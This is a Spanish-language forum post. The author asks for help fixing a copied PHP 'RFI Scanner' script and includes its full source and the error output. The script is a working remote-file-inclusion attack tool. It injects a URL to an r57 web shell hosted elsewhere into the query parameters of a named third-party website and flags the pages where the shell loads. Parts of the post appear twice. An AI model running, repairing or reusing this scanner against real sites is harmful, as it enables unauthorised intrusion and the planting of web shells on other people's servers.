Hola, que tal, a ver si me pudieran echar una mano, se los agradeceria mucho. Verán. Estoy probando a montar un escaner rfi para investigar sobre esto en mi host. El host tiene montado el appserv 2.5.9, aunque también probé con otras versiones. El codigo de php lo cogí de una web, anda bien, ya que lo he probado en otros host y funciona perfecto, pero en el mio me salen errores... creo que debe de ser por la versión del php (si me reconoce otras web en php con codes más simples, depende de las funciones creo). El caso es que en otro host con la misma versión de appserv si que anda pero en la mia no .
El code es este por si lo quieren probar:
Los errores son estos:
Laa linea 52 contiene esto: function extrac($n00b, $file = FALSE){
Y la 70: $var = 0;
Así unas cuantas de veces asta llegar al final de la web donde ya me sale lo que debería de salir, aunque dan mal el resultado... por los errores supongo.
Espero su ayuda, gracias de antemano.
Saludos
El code es este por si lo quieren probar:
Código (php) [Seleccionar]
<html>
<bogy>
<?
/*
RFI Scanner 1.0
Author: elefrEn
Website: http://elefren.com/
email: efnworkz@hotmail.com
Dedicated to Spanish Hackers Team - http://spanish-hackers.com/
Gr33tz: -> JosS | nhh-32 | Omega <-
*/
set_time_limit(0);
#Config
$urlweb = "http://www.aeev.net";# Out http://, ex: google.com
$urlshell = "http://xxxxxxxxxxx/shell/r57.txt";# Url where you sent the shell script
$comunvars = "cual|admindir|sec|id|file|doc|module|modulo|name";# Comun vars vulns to RFI in cms´s, etc...
$filetoscan = "index.php";# The file that you want scan
#Funcs
function vars($url){
$xpl = parse_url($url);$xpl = $xpl[query];$xpl = explode("&",$xpl);
$var = 0;
while($var < count($xpl)){
$v4r = explode("=",$xpl[$var]);
$m0s .= '|'.$v4r[0];
$var++;
}
$m0s = str_replace('amp;','',$m0s);
return $m0s;
}
function beerres($list, $barras = FALSE){
$s3p4 = '<br>';
if($barras) $s3p4 = '|';
$list = explode('|',$list);
$var = 0;
while($var < count($list)){
if($list[$var] != ''){
if(!@preg_match("/$list[$var]/i",$m0s) ){
$m0s .= $list[$var].$s3p4;
}
}
$var++;
}
return $m0s;
}
function extrac($n00b, $file = FALSE){
$n0ob = 'http://'.$n00b;
$source = join("",file(&$n0ob));
$vars = preg_match_all('/<a href="'.$file.'(.*)">(.*)<\/a>/i',$source,$results);
$t0t = count($results[1]);
$var = 0;
while($var < $t0t){
$xtr = explode('"',$results[1][$var]);
$urllist .= $xtr[0].'|';
$varlist .= vars($xtr[0]);
$var++;
}
$m0s .= $varlist;
return beerres($m0s,1);
}
function rfi($vars,$web,$file,$urlshell){
$list = explode('|',$vars);
$var = 0;
while($var < count($list)){
$url = $web.$file."?".$list[$var]."=".$urlshell."?";
$source = join("",file(&$url));
if(preg_match("/shell/i",$source)){
$m0s .= "<font color=red><b>RFI-></b></font> ";
}else{
$m0s .= "<font color=green><b>Secure-></b></font> ";
}
$m0s .= $url.'<br>';
$var++;
}
return $m0s;
}
#Exec
echo rfi(extrac($urlweb).$comunvars,'http://'.$urlweb.'/',$filetoscan,$urlshell);
?>
</body>
Los errores son estos:
Código (apache) [Seleccionar]
Warning: file() [function.file]: php_network_getaddresses: getaddrinfo failed: Host desconocido. in C:\AppServ\www\www2\shell\scannerrfi.php on line 52
Warning: file(http://http://www.aeev.net) [function.file]: failed to open stream: No error in C:\AppServ\www\www2\shell\scannerrfi.php on line 52
Warning: join() [function.join]: Bad arguments. in C:\AppServ\www\www2\shell\scannerrfi.php on line 52
Warning: file() [function.file]: php_network_getaddresses: getaddrinfo failed: Host desconocido. in C:\AppServ\www\www2\shell\scannerrfi.php on line 70
Warning: file(http://http://www.aeev.net/index.php?cual=http://xxxxxxxxxxxxxxx/shell/r57.txt?) [function.file]: failed to open stream: No error in C:\AppServ\www\www2\shell\scannerrfi.php on line 70
Warning: join() [function.join]: Bad arguments. in C:\AppServ\www\www2\shell\scannerrfi.php on line 70
Warning: file() [function.file]: php_network_getaddresses: getaddrinfo failed: Host desconocido. in C:\AppServ\www\www2\shell\scannerrfi.php on line 70
Warning: file(http://http://www.aeev.net/index.php?admindir=http://xxxxxxxxxxxxxx.org/shell/r57.txt?) [function.file]: failed to open stream: No error in C:\AppServ\www\www2\shell\scannerrfi.php on line 70
Warning: join() [function.join]: Bad arguments. in C:\AppServ\www\www2\shell\scannerrfi.php on line 70
Warning: file() [function.file]: php_network_getaddresses: getaddrinfo failed: Host desconocido. in C:\AppServ\www\www2\shell\scannerrfi.php on line 70
Warning: file(http://http://www.aeev.net/index.php?sec=http://xxxxxxxxxx.org/shell/r57.txt?) [function.file]: failed to open stream: No error in C:\AppServ\www\www2\shell\scannerrfi.php on line 70
Warning: join() [function.join]: Bad arguments. in C:\AppServ\www\www2\shell\scannerrfi.php on line 70
Laa linea 52 contiene esto: function extrac($n00b, $file = FALSE){
Y la 70: $var = 0;
Así unas cuantas de veces asta llegar al final de la web donde ya me sale lo que debería de salir, aunque dan mal el resultado... por los errores supongo.
Espero su ayuda, gracias de antemano.
Saludos